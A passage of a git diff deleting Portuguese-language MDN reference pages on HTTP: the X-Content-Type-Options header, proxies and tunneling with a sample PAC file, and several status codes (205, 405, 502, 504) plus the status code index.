- <dt><code>nosniff</code></dt>
- <dd>Bloqueia um pedido se o tipo pedido é
- <ul>
- <li>"<code>style</code>" e o tipo MIME não é "<code>text/css</code>", ou</li>
- <li>"<code>script</code>" e o tipo MIME não é do <a href="https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type">tipo MIME JavaScript</a>.</li>
- </ul>
- </dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}</td>
- <td>{{Spec2("Fetch")}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_do_Browser">Compatibilidade do Browser</h2>
-
-<p class="hidden">A tabela de compatibilidade nesta página é gerada a partir de informação estruturada. Se quiser contribuir para a informação, por favor confira em <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um pedido de pull.</p>
-
-<p>{{Compat("http/headers/x-content-type-options")}}</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{HTTPHeader("Content-Type")}}</li>
- <li>A <a href="https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/">definição original</a> de X-Content-Type-Options da Microsoft.</li>
- <li>A ferramenta de teste de configuração <a href="https://mozilla.github.io/http-observatory-website/">Mozilla Observatory</a> (incluindo este cabeçalho) de sites web para segurança.</li>
- <li>
- <p><a href="https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/">Mitigando Ataques de Confusão MIME no Firefox</a></p>
- </li>
-</ul>
diff --git a/files/pt-pt/web/http/index.html b/files/pt-pt/web/http/index.html
deleted file mode 100644
index f76e190701..0000000000
--- a/files/pt-pt/web/http/index.html
+++ /dev/null
@@ -1,84 +0,0 @@
----
-title: HTTP
-slug: Web/HTTP
-tags:
- - HTTP
- - NeedsTranslation
- - Reference
- - TopicStub
- - Web
- - 'l10n:priority'
-translation_of: Web/HTTP
----
-<div>{{HTTPSidebar}}</div>
-
-<p class="summary"><span class="seoSummary"><strong><dfn>Hypertext Transfer Protocol (HTTP)</dfn></strong> é um protocolo da <a class="external" href="https://en.wikipedia.org/wiki/Application_Layer">camada de aplicação</a> para a transmissão de documentos de hipermídia, tal com HTML.</span> Ele foi projetado para a comunicação entre navegadores web e servidores web, mas ele também pode ser usado para outros propósitos. HTTP segue o clássico <a class="external" href="https://en.wikipedia.org/wiki/Client%E2%80%93server_model">Modelo cliente-servidor</a>, com um cliente abrindo uma conexão para fazer uma requisição, e então esperando até que ele receba uma resposta. HTTP é um <a href="https://pt.wikipedia.org/wiki/Protocolo_sem_estado">protocolo sem estado</a>, significando que o servidor não manterá qualquer dado (estado) entre duas requisições. Apesar de frequentemente ser baseado na camada TCP/IP, ele pode ser utilizado em qualquer camada de transporte confiável;  isto é, um protocolo que não perda menssagens silenciosamente tal como UDP.</p>
-
-<div class="column-container">
-<div class="column-half">
-<h2 id="Tutorials">Tutorials</h2>
-
-<p>Learn how to use HTTP with guides and tutorials.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Web/HTTP/Overview">Overview of HTTP</a></dt>
- <dd>The basic features of the client-server protocol: what it can do and its intended uses.</dd>
- <dt><a href="/en-US/docs/Web/HTTP/Caching">HTTP Cache</a></dt>
- <dd>Caching is very important for fast Web sites. This article describes different methods of caching and how to use HTTP Headers to control them.</dd>
- <dt><a href="/en-US/docs/Web/HTTP/Cookies">HTTP Cookies</a></dt>
- <dd>How cookies work is defined by <a class="external" href="http://tools.ietf.org/html/rfc6265">RFC 6265</a>. When serving an HTTP request, a server can send a <code>Set-Cookie</code> HTTP header with the response. The client then returns the cookie's value with every request to the same server in the form of a <code>Cookie</code> request header. The cookie can also be set to expire on a certain date, or restricted to a specific domain and path.</dd>
- <dt><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP Access Control (CORS)</a></dt>
- <dd><strong>Cross-site HTTP requests</strong> are HTTP requests for resources from a <strong>different domain</strong> than the domain of the resource making the request. For instance, an HTML page from Domain A (<code>http://domaina.example/</code>) makes a request for an image on Domain B (<code>http://domainb.foo/image.jpg</code>) via the <code>img</code> element. Web pages today very commonly load cross-site resources, including CSS stylesheets, images, scripts, and other resources. CORS allows web developers to control how their site reacts to cross-site requests.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Evolution of HTTP</a></dt>
- <dd>A brief description of the changes between the early versions of HTTP, to the modern HTTP/2 and beyond.</dd>
- <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Mozilla web security guidelines</a></dt>
- <dd>A collection of tips to help operational teams with creating secure web applications.</dd>
-</dl>
-
-<dl>
- <dt><a href="/en-US/docs/Web/HTTP/Messages">HTTP Messages</a></dt>
- <dd>Describes the type and structure of the different kind of messages of HTTP/1.x and HTTP/2.</dd>
- <dt><a href="/en-US/docs/Web/HTTP/Session">A typical HTTP session</a></dt>
- <dd>Shows and explains the flow of a usual HTTP session.</dd>
- <dt><a href="/en-US/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Connection management in HTTP/1.x</a></dt>
- <dd>Describes the three connection management models available in HTTP/1.x, their strengths, and their weaknesses.</dd>
-</dl>
-</div>
-
-<div class="column-half">
-<h2 id="Reference">Reference</h2>
-
-<p>Browse through detailed HTTP reference documentation.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Web/HTTP/Headers">HTTP Headers</a></dt>
- <dd>HTTP message headers are used to describe a resource, or the behavior of the server or the client. Custom proprietary headers can be added using the <code>X-</code> prefix; others in an <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA registry</a>, whose original content was defined in <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA also maintains a <a class="external" href="http://www.iana.org/assignments/message-headers/prov-headers.html">registry of proposed new HTTP message headers</a>.</dd>
- <dt><a href="/en-US/docs/Web/HTTP/Methods">HTTP Request Methods</a></dt>
- <dd>The different operations that can be done with HTTP: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, and also less common requests like {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}}, or {{HTTPMethod("TRACE")}}.</dd>
- <dt><a href="/en-US/docs/Web/HTTP/Response_codes">HTTP Status Response Codes</a></dt>
- <dd>HTTP response codes indicate whether a specific HTTP request has been successfully completed. Responses are grouped in five classes: informational responses, successful responses, redirections, client errors, and servers errors.</dd>
- <dt><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">CSP directives</a></dt>
- <dd>The {{HTTPHeader("Content-Security-Policy")}} response header fields allows web site administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints.</dd>
-</dl>
-
-<h2 id="Tools_resources">Tools &amp; resources</h2>
-
-<p>Helpful tools and resources for understanding and debugging HTTP.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Tools">Firefox Developer Tools</a></dt>
- <dd><a href="/en-US/docs/Tools/Network_Monitor">Network monitor</a></dd>
- <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a></dt>
- <dd>
- <p>A project designed to help developers, system administrators, and security professionals configure their sites safely and securely.</p>
- </dd>
- <dt><a class="external" href="https://redbot.org/">RedBot</a></dt>
- <dd>Tools to check your cache-related headers</dd>
- <dt><a href="http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/">How Browsers Work</a></dt>
- <dd>A very comprehensive article on browser internals and request flow through HTTP protocol. A MUST-READ for any web developer.</dd>
-</dl>
-</div>
-</div>
diff --git a/files/pt-pt/web/http/proxy_servers_and_tunneling/index.html b/files/pt-pt/web/http/proxy_servers_and_tunneling/index.html
deleted file mode 100644
index 38c03ba2a2..0000000000
--- a/files/pt-pt/web/http/proxy_servers_and_tunneling/index.html
+++ /dev/null
@@ -1,98 +0,0 @@
----
-title: Servidor Proxy e Túneis
-slug: Web/HTTP/Proxy_servers_and_tunneling
-tags:
- - HTTP
- - Proxies
- - Proxy
- - Túnel HTTP
-translation_of: Web/HTTP/Proxy_servers_and_tunneling
----
-<div>{{HTTPSidebar}}</div>
-
-<p class="summary">Ao navegar por diferentes redes da internet, os servidores proxy e os túneis HTTP facilitam o acesso ao conteúdo na Rede Mundial de Computadores (World Wide Web). O proxy pode estar no computador local do usuário, ou em algum lugar entre o computador deste e o servidor de destino na Internet. Esta página é um esquema de conceitos básicos sobre proxies e algumas opções de configuração.</p>
-
-<p>Há dois tipos de proxies: <strong>proxy de envio </strong> (do inglês "<strong>forward proxies", </strong>ou túnel, ou ainda, gateway) e<strong> proxy reverso</strong> ("<strong>reverse proxies" </strong>usados para proteger o acesso ao servidor de largura de banda, autenticação, decriptação ou caching).</p>
-
-<h2 id="Proxy_de_Envio">Proxy de Envio</h2>
-
-<p>Proxy de envio, também chamado gateway ou "proxy" fornece serviços a um cliente ou grupo de clientes. É possível que haja centenas de milhares de proxies de envio livres na Internet. Estes armazenam e enviam serviços de rede (como o DNS, ou páginas da web) para economia e controle da largura de banda usada pelo grupo.</p>
-
-<p>Proxies de envio também podem ser anónimos e esconder o endereço IP dos usuários que navegam pela Web ou usam outros serviços de Internet. O <a href="https://www.torproject.org/">TOR</a> (The Onion Router), para ser anónimo, roteia tráfego de rede por vários proxies .</p>
-
-<h2 id="Proxy_reverso">Proxy reverso</h2>
-
-<p>Como o nome já indica, faz o inverso do proxy de envio: O proxy de envio benefecia a clientes (ou a hosts que o requisitam), já o proxy reverso benefecia a servidores. Proxies de envio podem esconder a identidade de clientes, ao passo que proxies reversos podem esconder a dos servidores. Proxies reversos tem várias funções, dentre os quais:</p>
-
-<ul>
- <li>Load balancing: distribuir a carga por vários servidores web ,</li>
- <li>Cache de conteúdo estático: liberta os servidores web por esconder conteúdo estático, como fotos</li>
- <li>Compressão: acelera o tempo de carregamento por comprimir e otimizar conteúdos</li>
-</ul>
-
-<h2 id="Envio_de_informação_de_clientes_por_meio_de_proxies">Envio de informação de clientes por meio de proxies</h2>
-
-<p>Proxies fazem parecer que os pedidos vêm do endereço IP do proxy. Isto pode ser útil se o proxy provê anonimato ao cliente. Porém, noutros casos, perde-se a informação do pedido original. O endereço IP original é usado em verificação de erros, em estatísticas ou ao gerar conteúdo ajustado à localização. Uma forma comum de divulgar esta informação é usando estes cabeçalhos HTTP:</p>
-
-<p>Cabeçalho padronizado:</p>
-
-<dl>
- <dt>{{HTTPHeader("Forwarded")}}</dt>
- <dd>Contêm informação do lado do cliente de proxy, que foi alterada ou perdida se há um proxy no caminho do pedido</dd>
-</dl>
-
-<p>Ou as versões de facto padrão:</p>
-
-<dl>
- <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt>
- <dd>Identifica o endereço IP de origem do cliente que se conectou ao servidor web por meio de um proxy HTTP ou um load balancer</dd>
- <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt>
- <dd>Identifica o Host originalmente requisitado pelo cliente, quando este se conectou ao seu proxy ou load balancer </dd>
- <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt>
- <dd>Identifica o protocolo (HTTP ou HTTPS) que o cliente usou ao se conectar ao seu proxy ou load balancer</dd>
-</dl>
-
-<p>Pode-se usar o cabeçalho <code>Via</code> para informar, não sobre o cliente conectado, mas sobre o próprio proxy.</p>
-
-<dl>
- <dt>{{HTTPHeader("Via")}}</dt>
- <dd>Adicionado por proxies, tanto de envio como reversos, e aparece no cabeçalho do pedido e da resposta.</dd>
-</dl>
-
-<h2 id="Túnel_HTTP">Túnel HTTP </h2>
-
-<p>O Tunelamento encapsula os dados, permitindo assim que dados de rede privada e protocolos traféguem em redes públicas. Tunelamento HTTP é usar o protocolo de alto nível (HTTP) para transportar outro de nível abaixo (TCP).</p>
-
-<p>O Protocolo HTTP protocol especifica o método {{HTTPMethod("CONNECT")}}. Este começa comunicações de mão-dupla com o recurso requisitado e pode abrir um túnel. É assim que o cliente de proxy HTTP pode acessar websites a usar SSL (i.e. HTTPS, porta 443). Mas, é digno de nota, que nem todos os servidores proxy tem suporte ao método <code>CONNECT</code> ou limitam-no à porta 443.</p>
-
-<p>Veja também o artigo <a href="https://en.wikipedia.org/wiki/HTTP_tunnel">HTTP tunnel</a>, na Wikipedia.</p>
-
-<h2 id="Proxy_Auto-Configuration_PAC">Proxy Auto-Configuration (PAC)</h2>
-
-<p>O ficheiro <a href="/en-US/docs/Mozilla/Projects/Necko/Proxy_Auto-Configuration_(PAC)_file">Proxy Auto-Configuration (PAC)</a> é uma função de <a href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/JavaScript">JavaScript</a> que determina se pedidos de motores de busca (HTTP, HTTPS, e FTP) vão direto ao destino ou são reencaminhadas a um proxy-servidor web. A função JavaScript contida no ficheiro PAC define:</p>
-
-<p id="Saving_the_Auto-Config_File_Setting_the_MIME_Type">O ficheiro auto-config será salvo com extensão <code>.pac</code>:</p>
-
-<pre class="syntaxbox notranslate">proxy.pac</pre>
-
-<p>E o MIME type é configurado para:</p>
-
-<pre class="syntaxbox notranslate">application/x-ns-proxy-autoconfig</pre>
-
-<p>O Ficheiro consiste numa função de nome <code>FindProxyForURL</code>. Se o servidor DNS interno está configurado para fonecer nomes à hosts internos, e o objectivo é usar um proxy só para hosts sem nome, então este exemplo deve funcionar:</p>
-
-<pre class="brush: js notranslate">function FindProxyForURL(url, host) {
- if (isResolvable(host))
-  return "DIRECT";
-  else
-  return "PROXY proxy.mydomain.com:8080";
-}</pre>
-
-<p>Veja <a href="/en-US/docs/Web/HTTP/Proxy_servers_and_tunneling/Proxy_Auto-Configuration_(PAC)_file">Proxy Auto-Configuration (PAC)</a> para mais exemplos.</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{HTTPMethod("CONNECT")}}</li>
- <li><a href="https://pt.wikipedia.org/wiki/Proxy">Proxy na Wikipedia</a></li>
-</ul>
diff --git a/files/pt-pt/web/http/status/205/index.html b/files/pt-pt/web/http/status/205/index.html
deleted file mode 100644
index abd4774ca7..0000000000
--- a/files/pt-pt/web/http/status/205/index.html
+++ /dev/null
@@ -1,45 +0,0 @@
----
-title: 205 Reset Content
-slug: Web/HTTP/Status/205
-tags:
- - Códigos de resposta
- - Códigos de resposta HTTP
- - HTTP
- - HTTP Status Code
- - Referencia
-translation_of: Web/HTTP/Status/205
----
-<div>{{HTTPSidebar}}</div>
-
-<p>O código de resposta HTTP <strong><code>205 Reset Content</code></strong> indica ao cliente que deve reinicializar a vista do documento. Assim, por exemplo, deve limpar o conteúdo de um formulário, reiniciar o estado de uma tela ou refrescar o UI.</p>
-
-<h2 id="Status">Status</h2>
-
-<pre class="syntaxbox">205 Reset Content</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Title</th>
- </tr>
- <tr>
- <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td>
- <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Notas_sobre_compatibilidade">Notas sobre compatibilidade</h2>
-
-<ul>
- <li>O comportamento dos navegadores difere para o caso de esta resposta incluir erradamente um corpo em ligações persistentes. Para mais detalhe, veja  <a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a>.</li>
-</ul>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{HTTPStatus(204)}} No Content</li>
-</ul>
diff --git a/files/pt-pt/web/http/status/405/index.html b/files/pt-pt/web/http/status/405/index.html
deleted file mode 100644
index abe104da6b..0000000000
--- a/files/pt-pt/web/http/status/405/index.html
+++ /dev/null
@@ -1,46 +0,0 @@
----
-title: 405 Method Not Allowed
-slug: Web/HTTP/Status/405
-tags:
- - Código de resposta HTTP
- - Erro de cliente
- - HTTP
- - Referencia
- - Status code
-translation_of: Web/HTTP/Status/405
----
-<div>{{HTTPSidebar}}</div>
-
-<p>O código de resposta HTTP (HyperText Transfer Protocol) <code>405 Method Not Allowed</code> indica que o método do pedido é conhecido pelo servidor, mas não é suportado pelo recurso alvo.</p>
-
-<p class="newpage">O servidor PRECISA gerar um campo de cabeçalho chamado <code>Allow</code> numa resposta 405 contendo uma lista dos métodos que o recurso alvo atualmente suporta.</p>
-
-<h2 id="Status">Status</h2>
-
-<pre class="syntaxbox notranslate">405 Method Not Allowed</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Titulo</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{RFC("7231", "405 Method Not Allowed", "6.5.5")}}</td>
- <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{HTTPHeader("Allow")}}</li>
- <li><em><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></em></li>
- <li><em><a href="https://kinsta.com/blog/405-method-not-allowed-error/">How to Fix 405 Method Not Allowed</a></em></li>
- <li><em><a href="https://docs.microsoft.com/en-us/aspnet/web-api/overview/testing-and-debugging/troubleshooting-http-405-errors-after-publishing-web-api-applications">Troubleshooting HTTP 405</a></em></li>
-</ul>
diff --git a/files/pt-pt/web/http/status/502/index.html b/files/pt-pt/web/http/status/502/index.html
deleted file mode 100644
index 548e89fd57..0000000000
--- a/files/pt-pt/web/http/status/502/index.html
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: 502 Bad Gateway
-slug: Web/HTTP/Status/502
-tags:
- - Erro de servidor
- - HTTP
- - Status code
-translation_of: Web/HTTP/Status/502
----
-<div>{{HTTPSidebar}}</div>
-
-<p>O código de resposta HTTP (Protocolo de Transferência de Hipertexto) <code><strong>502 Bad Gateway</strong></code> indica que o servidor, ao agir como portal ou <em>proxy</em>, recebeu uma resposta invalida dum servidor <em>upstream</em> (um servidor mais adiante na cadeia de conexões).</p>
-
-<div class="note">
-<p><strong>Nota: </strong>Uma {{interwiki("wikipedia", "Gateway", "Gateway")}} pode ser várias coisas numa rede e um erro 502 tipicamente não pode ser resolvido por si, mas requer um conserto no servidor ou nas <em>proxies</em> por qual esta a comunicar.</p>
-</div>
-
-<h2 id="Status">Status</h2>
-
-<pre class="syntaxbox notranslate">502 Bad Gateway
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Titulo</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{RFC("7231", "502 Bad Gateway", "6.6.3")}}</td>
- <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
-
-<p>{{Compat("http.status.502")}}</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{HTTPStatus(504)}}</li>
- <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li>
-</ul>
diff --git a/files/pt-pt/web/http/status/504/index.html b/files/pt-pt/web/http/status/504/index.html
deleted file mode 100644
index ce2ddf7563..0000000000
--- a/files/pt-pt/web/http/status/504/index.html
+++ /dev/null
@@ -1,50 +0,0 @@
----
-title: 504 Gateway Timeout
-slug: Web/HTTP/Status/504
-tags:
- - Erro de servidor
- - HTTP
- - Status code
-translation_of: Web/HTTP/Status/504
----
-<div>{{HTTPSidebar}}</div>
-
-<p>O código de resposta HTTP (Protocolo de Transferência de Hipertexto) <code><strong>504 Gateway Timeout</strong></code> indica que o servidor, ao agir como portal ou <em>proxy</em>, não recebeu uma resposta dum servidor <em>upstream</em> (um servidor mais adiante na cadeia de conexões) no tempo necessário para completar a resposta. </p>
-
-<div class="note">
-<p><strong>Nota</strong>: Uma {{interwiki("wikipedia", "Gateway", "Gateway")}} pode ser várias coisas numa rede e um erro 504 tipicamente não pode ser resolvido por si, mas requer um conserto no servidor ou nas <em>proxies</em> por qual esta a comunicar.</p>
-</div>
-
-<h2 id="Status">Status</h2>
-
-<pre class="syntaxbox notranslate">504 Gateway Timeout</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Titulo</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{RFC("7231", "504 Gateway Timeout" , "6.6.5")}}</td>
- <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
-
-<p>{{Compat("http.status.504")}}</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li><a href="https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html" rel="noopener">HTTP/1.1: Status Code Definitions</a></li>
- <li>{{HTTPStatus(502)}}</li>
-</ul>
diff --git a/files/pt-pt/web/http/status/index.html b/files/pt-pt/web/http/status/index.html
deleted file mode 100644
index cc6e9b9e37..0000000000
--- a/files/pt-pt/web/http/status/index.html
+++ /dev/null
@@ -1,185 +0,0 @@
----
-title: HTTP response status codes
-slug: Web/HTTP/Status
-tags:
- - HTTP
- - Landing
- - NeedsTranslation
- - Overview
- - Reference
- - Status codes
- - TopicStub
- - Web
-translation_of: Web/HTTP/Status
----
-<div>{{HTTPSidebar}}</div>
-
-<p class="summary"><span class="seoSummary">HTTP response status codes indicate whether a specific <a href="/en-US/docs/Web/HTTP">HTTP</a> request has been successfully completed. Responses are grouped in five classes: informational responses, successful responses, redirects, client errors, and servers errors.</span> Status codes are defined by <a href="https://tools.ietf.org/html/rfc2616#section-10">section 10 of RFC 2616</a>.</p>
-
-<h2 id="Information_responses">Information responses</h2>
-
-<dl>
- <dt>{{HTTPStatus(100, "100 Continue")}}</dt>
- <dd>This interim response indicates that everything so far is OK and that the client should continue with the request or ignore it if it is already finished.</dd>
- <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt>
- <dd>This code is sent in response to an {{HTTPHeader("Upgrade")}} request header by the client, and indicates the protocol the server is switching to.</dd>
- <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})</dt>
- <dd>This code indicates that the server has received and is processing the request, but no response is available yet.</dd>
- <dt>{{HTTPStatus(103, "103 Early Hints")}}</dt>
- <dd>This status code is primarily intended to be used with the {{HTTPHeader("Link")}} header to allow the user agent to start preloading resources while the server is still preparing a response.</dd>
-</dl>
-
-<h2 id="Successful_responses">Successful responses</h2>
-
-<dl>
- <dt>{{HTTPStatus(200, "200 OK")}}</dt>
- <dd>The request has succeeded. The meaning of a success varies depending on the HTTP method:<br>
- GET: The resource has been fetched and is transmitted in the message body.<br>
- HEAD: The entity headers are in the message body.<br>
- PUT or POST: The resource describing the result of the action is transmitted in the message body.<br>
- TRACE: The message body contains the request message as received by the server</dd>
- <dt>{{HTTPStatus(201, "201 Created")}}</dt>
- <dd>The request has succeeded and a new resource has been created as a result of it. This is typically the response sent after a POST request, or after some PUT requests.</dd>
- <dt>{{HTTPStatus(202, "202 Accepted")}}</dt>
- <dd>The request has been received but not yet acted upon. It is non-committal, meaning that there is no way in HTTP to later send an asynchronous response indicating the outcome of processing the request. It is intended for cases where another process or server handles the request, or for batch processing.</dd>
- <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt>
- <dd>This response code means returned meta-information set is not exact set as available from the origin server, but collected from a local or a third party copy. Except this condition, 200 OK response should be preferred instead of this response.</dd>
- <dt>{{HTTPStatus(204, "204 No Content")}}</dt>
- <dd>There is no content to send for this request, but the headers may be useful. The user-agent may update its cached headers for this resource with the new ones.</dd>
- <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt>
- <dd>This response code is sent after accomplishing request to tell user agent reset document view which sent this request.</dd>
- <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt>
- <dd>This response code is used because of range header sent by the client to separate download into multiple streams.</dd>
- <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
- <dd>A Multi-Status response conveys information about multiple resources in situations where multiple status codes might be appropriate.</dd>
- <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
- <dd>Used inside a DAV: propstat response element to avoid enumerating the internal members of multiple bindings to the same collection repeatedly.</dd>
- <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt>
- <dd>The server has fulfilled a GET request for the resource, and the response is a representation of the result of one or more instance-manipulations applied to the current instance.</dd>
-</dl>
-
-<h2 id="Redirection_messages">Redirection messages</h2>
-
-<dl>
- <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt>
- <dd>The request has more than one possible response. The user-agent or user should choose one of them. There is no standardized way of choosing one of the responses.</dd>
- <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt>
- <dd>This response code means that the URI of the requested resource has been changed permanently. Probably, the new URI would be given in the response.</dd>
- <dt>{{HTTPStatus(302, "302 Found")}}</dt>
- <dd>This response code means that the URI of requested resource has been changed <em>temporarily</em>. New changes in the URI might be made in the future. Therefore, this same URI should be used by the client in future requests.</dd>
- <dt>{{HTTPStatus(303, "303 See Other")}}</dt>
- <dd>The server sent this response to direct the client to get the requested resource at another URI with a GET request.</dd>
- <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt>
- <dd>This is used for caching purposes. It tells the client that the response has not been modified, so the client can continue to use the same cached version of the response.</dd>
- <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt>
- <dd>Was defined in a previous version of the HTTP specification to indicate that a requested response must be accessed by a proxy. It has been deprecated due to security concerns regarding in-band configuration of a proxy.</dd>
- <dt><code>306 unused</code></dt>
- <dd>This response code is no longer used, it is just reserved currently. It was used in a previous version of the HTTP 1.1 specification.</dd>
- <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt>
- <dd>The server sends this response to direct the client to get the requested resource at another URI with same method that was used in the prior request. This has the same semantics as the <code>302 Found</code> HTTP response code, with the exception that the user agent <em>must not</em> change the HTTP method used: If a <code>POST</code> was used in the first request, a <code>POST</code> must be used in the second request.</dd>
- <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt>
- <dd>This means that the resource is now permanently located at another URI, specified by the <code>Location:</code> HTTP Response header. This has the same semantics as the <code>301 Moved Permanently</code> HTTP response code, with the exception that the user agent <em>must not</em> change the HTTP method used: If a <code>POST</code> was used in the first request, a <code>POST</code> must be used in the second request.</dd>
-</dl>
-
-<h2 id="Client_error_responses">Client error responses</h2>
-
-<dl>
- <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt>
- <dd>This response means that server could not understand the request due to invalid syntax.</dd>
- <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt>
- <dd>Although the HTTP standard specifies "unauthorized", semantically this response means "unauthenticated". That is, the client must authenticate itself to get the requested response.</dd>
- <dt><code>402 Payment Required</code></dt>
- <dd>This response code is reserved for future use. Initial aim for creating this code was using it for digital payment systems however this is not used currently.</dd>
- <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt>
- <dd>The client does not have access rights to the content, i.e. they are unauthorized, so server is rejecting to give proper response. Unlike 401, the client's identity is known to the server.</dd>
- <dt>{{HTTPStatus(404, "404 Not Found")}}</dt>
- <dd>The server can not find requested resource. In the browser, this means the URL is not recognized. In an API, this can also mean that the endpoint is valid but the resource itself does not exist. Servers may also send this response instead of 403 to hide the existence of a resource from an unauthorized client. This response code is probably the most famous one due to its frequent occurence on the web.</dd>
- <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt>
- <dd>The request method is known by the server but has been disabled and cannot be used. For example, an API may forbid DELETE-ing a resource. The two mandatory methods, <code>GET</code> and <code>HEAD</code>, must never be disabled and should not return this error code.</dd>
- <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt>
- <dd>This response is sent when the web server, after performing <a href="/en-US/docs/HTTP/Content_negotiation#Server-driven_negotiation">server-driven content negotiation</a>, doesn't find any content following the criteria given by the user agent.</dd>
- <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt>
- <dd>This is similar to 401 but authentication is needed to be done by a proxy.</dd>
- <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt>
- <dd>This response is sent on an idle connection by some servers, even without any previous request by the client. It means that the server would like to shut down this unused connection. This response is used much more since some browsers, like Chrome, Firefox 27+, or IE9, use HTTP pre-connection mechanisms to speed up surfing. Also note that some servers merely shut down the connection without sending this message.</dd>
- <dt>{{HTTPStatus(409, "409 Conflict")}}</dt>
- <dd>This response is sent when a request conflicts with the current state of the server.</dd>
- <dt>{{HTTPStatus(410, "410 Gone")}}</dt>
